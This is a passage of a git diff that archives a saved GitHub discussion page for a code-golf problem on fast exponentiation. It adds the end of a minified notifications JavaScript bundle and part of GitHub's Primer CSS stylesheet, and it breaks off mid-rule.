HTMLElement{closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsTeamSubscriptionFormElement");n([s.fA],h.prototype,"details",2),h=n([s.Ih],h);var v=Object.defineProperty,C=Object.getOwnPropertyDescriptor,T=u((e,t,r,i)=>{for(var o=i>1?void 0:i?C(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&v(t,r,o),o},"notifications_subscriptions_dialog_label_item_decorateClass");let E=u(class extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){const t=this.label.getAttribute("aria-checked")==="true";this.setCheckedForDropdownLabel(!t),this.dispatchEvent(new CustomEvent("notifications-dialog-label-toggled",{detail:{wasChecked:t,toggledLabelId:this.labelId,templateLabelElementClone:this.hiddenLabelTemplate.cloneNode(!0)},bubbles:!0}))}}setCheckedForDropdownLabel(e){this.label.setAttribute("aria-checked",e.toString())}},"NotificationsDialogLabelItemElement");T([s.fA],E.prototype,"label",2),T([s.fA],E.prototype,"hiddenLabelTemplate",2),T([s.fA],E.prototype,"hiddenCheckboxInput",2),T([s.Lj],E.prototype,"labelId",2),E=T([s.Ih],E)}},_=>{var L=u(s=>_(_.s=s),"__webpack_exec__");_.O(0,["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51"],()=>L(55089));var g=_.O()}]);})(); + +//# sourceMappingURL=notifications-global-efb6b04b1517.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css new file mode 100644 index 0000000..81c8b42 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css @@ -0,0 +1,13 @@ +:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-color-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: active){body{--color-accent-emphasis: Highlight;--color-fg-on-emphasis: LinkText}}/*! + * @primer/css/core + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.ActionList{padding:8px}.ActionList--full{padding:0}.ActionList--subGroup{padding:0}.ActionList--divided .ActionList-item-label::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline .ActionList-item-label::before{content:unset}.ActionList--divided .ActionList-item--navActive .ActionList-item-label::before,.ActionList--divided .ActionList-item--navActive+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-label::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-descriptionWrap--inline::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}.ActionList--tree{--ActionList-tree-depth: 1}.ActionList--tree .ActionList-item--subItem>.ActionList-content{font-size:14px}.ActionList--tree .ActionList-item.ActionList-item--singleton .ActionList-content{padding-left:32px}.ActionList--tree .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup{position:relative}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:calc(8px * var(--ActionList-tree-depth))}.ActionList--tree .ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(0deg)}.ActionList--tree .ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(-90deg)}.ActionList--tree .ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-item--hasSubItem .ActionList-item--subItem:not(.ActionList-item--hasSubItem) .ActionList-content>span:first-child{padding-left:24px}.ActionList--tree>[aria-level="1"].ActionList-item--hasSubItem>.ActionList--subGroup::before{position:absolute;left:16px;width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--tree .ActionList-item--hasSubItem:not([aria-level="1"])>.ActionList--subGroup::before{position:absolute;left:calc(8px * (var(--ActionList-tree-depth)) + 7px);width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList-item{position:relative;list-style:none;background-color:transparent;border-radius:6px}.ActionList-item:hover,.ActionList-item:active{cursor:pointer}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):hover:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}}.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background:var(--color-action-list-item-default-active-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):active:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{animation:ActionList-item-active-bg 4s forwards cubic-bezier(0.33, 1, 0.68, 1)}}@keyframes ActionList-item-active-bg{50%{box-shadow:inset 0 2px 12px 6px rgba(var(--color-canvas-default), 0.4);transform:scale(1)}100%{transform:scale(0.97)}}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}}.ActionList-item:not(.ActionList-item--hasSubItem):active .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):active+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content{z-index:1}@media(hover: hover){.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background-color:var(--color-action-list-item-default-active-bg)}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:600}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background:var(--color-action-list-item-default-selected-bg)}@media(hover: hover){.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::before,.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)+.ActionList-item::before{visibility:hidden}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectCheckmark{visibility:visible;opacity:1;transition:visibility 0 linear 0,opacity 50ms}.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{visibility:visible}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{animation:checkmarkIn 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-accent-fg);stroke:var(--color-accent-fg);stroke-width:1px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark{fill:var(--color-fg-on-emphasis)}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectCheckmark{visibility:hidden;opacity:0;transition:visibility 0 linear 50ms,opacity 50ms}.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{visibility:hidden;transition:visibility 0s linear 200ms;-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{animation:checkmarkOut 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);stroke:var(--color-border-default);stroke-width:1px}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);border:1px solid var(--color-border-default)}@keyframes checkmarkIn{from{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}to{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}}@keyframes checkmarkOut{from{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}to{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}}.ActionList-item.ActionList-item--danger .ActionList-item-label{color:var(--color-danger-fg)}.ActionList-item.ActionList-item--danger .ActionList-item-visual{color:var(--color-danger-fg)}@media(hover: hover){.ActionList-item.ActionList-item--danger:hover{background:var(--color-action-list-item-danger-hover-bg)}.ActionList-item.ActionList-item--danger:hover .ActionList-item-label{color:var(--color-action-list-item-danger-hover-text)}}.ActionList-item.ActionList-item--danger .ActionList-content:active{background:var(--color-action-list-item-danger-active-bg)}.ActionList-item .ActionList{padding:unset}.ActionList-content{position:relative;display:grid;width:100%;padding:6px 8px;font-size:14px;font-weight:400;color:var(--color-fg-default);text-align:left;-webkit-user-select:none;user-select:none;background-color:transparent;border:none;border-radius:6px;transition:background 33.333ms linear;touch-action:manipulation;touch-action:manipulation;-webkit-tap-highlight-color:transparent;grid-template-rows:min-content;grid-template-areas:"leadingAction leadingVisual label trailingVisual trailingAction";grid-template-columns:min-content min-content minmax(0, auto) min-content min-content;align-items:start}.ActionList-content>:not(:last-child){margin-right:8px}.ActionList-content:hover{text-decoration:none}.ActionList-content:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content:focus:not(:focus-visible){outline:solid 1px transparent}.ActionList-content:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content[aria-disabled=true] .ActionList-item-label,.ActionList-content[aria-disabled=true] .ActionList-item-description{color:var(--color-primer-fg-disabled)}.ActionList-content[aria-disabled=true] .ActionList-item-visual{fill:var(--color-primer-fg-disabled)}@media(hover: hover){.ActionList-content[aria-disabled=true]:hover{cursor:not-allowed;background-color:transparent}}@media screen and (prefers-reduced-motion: no-preference){.ActionList-content[aria-expanded]+.ActionList--subGroup{transition:opacity 160ms cubic-bezier(0.25, 1, 0.5, 1),transform 160ms cubic-bezier(0.25, 1, 0.5, 1)}}.ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:24px}.ActionList-content[aria-expanded].ActionList-content--visual16+.ActionList--subGroup .ActionList-content{padding-left:32px}.ActionList-content[aria-expanded].ActionList-content--visual20+.ActionList--subGroup .ActionList-content{padding-left:36px}.ActionList-content[aria-expanded].ActionList-content--visual24+.ActionList--subGroup .ActionList-content{padding-left:40px}.ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(-1)}.ActionList-content[aria-expanded=true]+.ActionList--subGroup{height:auto;overflow:visible;visibility:visible;opacity:1;transform:translateY(0)}.ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(1)}.ActionList-content[aria-expanded=false]+.ActionList--subGroup{height:0;overflow:hidden;visibility:hidden;opacity:0;transform:translateY(-16px)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem{background:var(--color-action-list-item-default-selected-bg)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem .ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::before,.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem+.ActionList-item::before{visibility:hidden}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-content.ActionList-content--sizeMedium{padding:10px 8px}.ActionList-content.ActionList-content--sizeLarge{padding:14px 8px}.ActionList-content.ActionList-content--fontSmall{font-size:12px}@media(pointer: coarse){.ActionList-content{padding:14px 8px}}.ActionList-content.ActionList-content--blockDescription .ActionList-item-visual{place-self:start}.ActionList-item-action--leading{grid-area:leadingAction}.ActionList-item-visual--leading{grid-area:leadingVisual}.ActionList-item-label{grid-area:label}.ActionList-item-visual--trailing{grid-area:trailingVisual}.ActionList-item-action--trailing{grid-area:trailingAction}.ActionList-item-descriptionWrap{grid-area:label;display:flex;flex-direction:column}.ActionList-item-descriptionWrap .ActionList-item-description{margin-top:4px}.ActionList-item-descriptionWrap .ActionList-item-label{font-weight:600}.ActionList-item-descriptionWrap--inline{position:relative;flex-direction:row;align-items:baseline}.ActionList-item-descriptionWrap--inline .ActionList-item-description{margin-left:8px}.ActionList-item-description{font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted)}.ActionList-item-visual,.ActionList-item-action{display:flex;min-height:20px;color:var(--color-fg-muted);pointer-events:none;fill:var(--color-fg-muted);align-items:center}.ActionList-item-label{position:relative;font-weight:400;line-height:20px;color:var(--color-fg-default)}.ActionList-item-label--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ActionList-item--subItem>.ActionList-content{font-size:12px}.ActionList-sectionDivider:not(:empty){display:flex;padding:6px 8px;font-size:12px;font-weight:600;color:var(--color-fg-muted);flex-direction:column}.ActionList-sectionDivider:empty{display:block;height:1px;padding:0;margin:7px -8px 8px;list-style:none;background:var(--color-action-list-item-inline-divider);border:0}.ActionList-sectionDivider .ActionList-sectionDivider-title{font-size:12px;font-weight:600;color:var(--color-fg-muted)}.ActionList-sectionDivider--filled{margin:8px -8px;background:var(--color-canvas-subtle);border-top:1px solid var(--color-action-list-item-inline-divider);border-bottom:1px solid var(--color-action-list-item-inline-divider)}.ActionList-sectionDivider--filled:empty{height:8px;box-sizing:border-box}.ActionList-sectionDivider--filled:first-child{margin-top:0}/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background-color:var(--color-attention-subtle);color:var(--color-text-primary)}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:600}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:14px;line-height:1.5;color:var(--color-fg-default);background-color:var(--color-canvas-default)}a{color:var(--color-accent-fg);text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--color-border-muted)}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}a,button,[role=button],input[type=radio],input[type=checkbox]{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}a:focus,button:focus,[role=button]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:focus:not(:focus-visible),button:focus:not(:focus-visible),[role=button]:focus:not(:focus-visible),input[type=radio]:focus:not(:focus-visible),input[type=checkbox]:focus:not(:focus-visible){outline:solid 1px transparent}a:focus-visible,button:focus-visible,[role=button]:focus-visible,input[type=radio]:focus-visible,input[type=checkbox]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:not([class]):focus,a:not([class]):focus-visible,input[type=radio]:focus,input[type=radio]:focus-visible,input[type=checkbox]:focus,input[type=checkbox]:focus-visible{outline-offset:0}.focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}@media(forced-colors: active){*:focus,*:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visible,select:focus,select:focus-visible{outline-offset:2px}}kbd{display:inline-block;padding:3px 5px;font:11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;line-height:10px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-subtle);border:solid 1px var(--color-neutral-muted);border-bottom-color:var(--color-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--color-neutral-muted)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code,samp{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.octicon{display:inline-block;overflow:visible !important;vertical-align:text-bottom;fill:currentColor}.Box{background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-radius:6px}.Box--condensed{line-height:1.25}.Box--condensed .Box-header{padding:8px 16px}.Box--condensed .Box-body{padding:8px 16px}.Box--condensed .Box-footer{padding:8px 16px}.Box--condensed .Box-btn-octicon.btn-octicon{padding:8px 16px;margin:-8px -16px;line-height:1.25}.Box--condensed .Box-row{padding:8px 16px}.Box--spacious .Box-header{padding:24px;line-height:1.25}.Box--spacious .Box-title{font-size:20px}.Box--spacious .Box-body{padding:24px}.Box--spacious .Box-footer{padding:24px}.Box--spacious .Box-btn-octicon.btn-octicon{padding:24px;margin:-24px -24px}.Box--spacious .Box-row{padding:24px}.Box-header{padding:16px;margin:-1px -1px 0;background-color:var(--color-canvas-subtle);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-title{font-size:14px;font-weight:600}.Box-body{padding:16px;border-bottom:1px solid var(--color-border-default)}.Box-body:last-of-type{margin-bottom:-1px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row{padding:16px;margin-top:-1px;list-style-type:none;border-top-color:var(--color-border-muted);border-top-style:solid;border-top-width:1px}.Box-row:first-of-type{border-top-left-radius:6px;border-top-right-radius:6px}.Box-row:last-of-type{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row.Box-row--unread,.Box-row.unread{box-shadow:inset 2px 0 0 var(--color-accent-emphasis)}.Box-row.navigation-focus .Box-row--drag-button{color:var(--color-accent-fg);cursor:grab;opacity:100}.Box-row.navigation-focus.is-dragging .Box-row--drag-button{cursor:grabbing}.Box-row.navigation-focus.sortable-chosen{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost .Box-row--drag-hide{opacity:0}.Box-row--focus-gray.navigation-focus{background-color:var(--color-canvas-subtle)}.Box-row--focus-blue.navigation-focus{background-color:var(--color-accent-subtle)}.Box-row--hover-gray:hover{background-color:var(--color-canvas-subtle)}.Box-row--hover-blue:hover{background-color:var(--color-accent-subtle)}@media(min-width: 768px){.Box-row-link{color:var(--color-fg-default);text-decoration:none}.Box-row-link:hover{color:var(--color-accent-fg);text-decoration:none}}.Box-row--drag-button{opacity:0}.Box-footer{padding:16px;margin-top:-1px;border-top-color:var(--color-border-default);border-top-style:solid;border-top-width:1px;border-radius:0 0 6px 6px}.Box--scrollable{max-height:324px;overflow:scroll}.Box--blue{border-color:var(--color-accent-muted)}.Box--blue .Box-header{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box--blue .Box-body{border-color:var(--color-accent-muted)}.Box--blue .Box-row{border-color:var(--color-accent-muted)}.Box--blue .Box-footer{border-color:var(--color-accent-muted)}.Box--danger{border-color:var(--color-danger-emphasis)}.Box--danger .Box-row:first-of-type{border-color:var(--color-danger-emphasis)}.Box--danger .Box-body:last-of-type{border-color:var(--color-danger-emphasis)}.Box-header--blue{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box-row--yellow{background-color:var(--color-attention-subtle)}.Box-row--blue{background-color:var(--color-accent-subtle)}.Box-row--gray{background-color:var(--color-canvas-subtle)}.Box-btn-octicon.btn-octicon{padding:16px 16px;margin:-16px -16px;line-height:1.5}.Box--overlay{width:448px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-default);background-clip:padding-box;border-color:var(--color-border-default);box-shadow:0 0 18px rgba(0,0,0,.4)}.Box--overlay .Box-header{margin:0;border-width:0;border-bottom-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-overlay--narrow{width:320px}.Box-overlay--wide{width:640px}.Box-body.scrollable-overlay{max-height:400px;overflow-y:scroll}.Box-body .help{padding-top:8px;margin:0;color:var(--color-fg-muted);text-align:center}.breadcrumb-item{display:inline-block;margin-left:-0.35em;white-space:nowrap;list-style:none}.breadcrumb-item::after{display:inline-block;height:.8em;margin:0 .5em;content:"";border-right:.1em solid var(--color-fg-muted);transform:rotate(15deg)}.breadcrumb-item:first-child{margin-left:0}.breadcrumb-item-selected::after,.breadcrumb-item[aria-current]:not([aria-current=false])::after{content:none}.breadcrumb-item-selected a{color:var(--color-fg-default)}.btn{position:relative;display:inline-block;padding:5px 16px;font-size:14px;font-weight:500;line-height:20px;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid;border-radius:6px;-webkit-appearance:none;appearance:none}.btn:hover{text-decoration:none}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{cursor:default}.btn i{font-style:normal;font-weight:500;opacity:.75}.btn .octicon{margin-right:4px;color:var(--color-fg-muted);vertical-align:text-bottom}.btn .octicon:only-child{margin-right:0}.btn .Counter{margin-left:2px;color:inherit;text-shadow:none;vertical-align:top;background-color:var(--color-btn-counter-bg)}.btn .dropdown-caret{margin-left:4px;opacity:.8}.btn{color:var(--color-btn-text);background-color:var(--color-btn-bg);border-color:var(--color-btn-border);box-shadow:var(--color-btn-shadow),var(--color-btn-inset-shadow);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.btn:hover,.btn.hover,[open]>.btn{background-color:var(--color-btn-hover-bg);border-color:var(--color-btn-hover-border);transition-duration:.1s}.btn:active{background-color:var(--color-btn-active-bg);border-color:var(--color-btn-active-border);transition:none}.btn.selected,.btn[aria-selected=true]{background-color:var(--color-btn-selected-bg);box-shadow:var(--color-primer-shadow-inset)}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:var(--color-btn-bg);border-color:var(--color-btn-border)}.btn:disabled .octicon,.btn.disabled .octicon,.btn[aria-disabled=true] .octicon{color:var(--color-primer-fg-disabled)}.btn-primary{color:var(--color-btn-primary-text);background-color:var(--color-btn-primary-bg);border-color:var(--color-btn-primary-border);box-shadow:var(--color-btn-primary-shadow),var(--color-btn-primary-inset-shadow)}.btn-primary:hover,.btn-primary.hover,[open]>.btn-primary{background-color:var(--color-btn-primary-hover-bg);border-color:var(--color-btn-primary-hover-border)}.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:active,.btn-primary.selected,.btn-primary[aria-selected=true]{background-color:var(--color-btn-primary-selected-bg);box-shadow:var(--color-btn-primary-selected-shadow)}.btn-primary:disabled,.btn-primary.disabled,.btn-primary[aria-disabled=true]{color:var(--color-btn-primary-disabled-text);background-color:var(--color-btn-primary-disabled-bg);border-color:var(--color-btn-primary-disabled-border)}.btn-primary:disabled .octicon,.btn-primary.disabled .octicon,.btn-primary[aria-disabled=true] .octicon{color:var(--color-btn-primary-disabled-text)}.btn-primary .Counter{color:inherit;background-color:var(--color-btn-primary-counter-bg)}.btn-primary .octicon{color:var(--color-btn-primary-icon)}a.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}a.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}a.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px 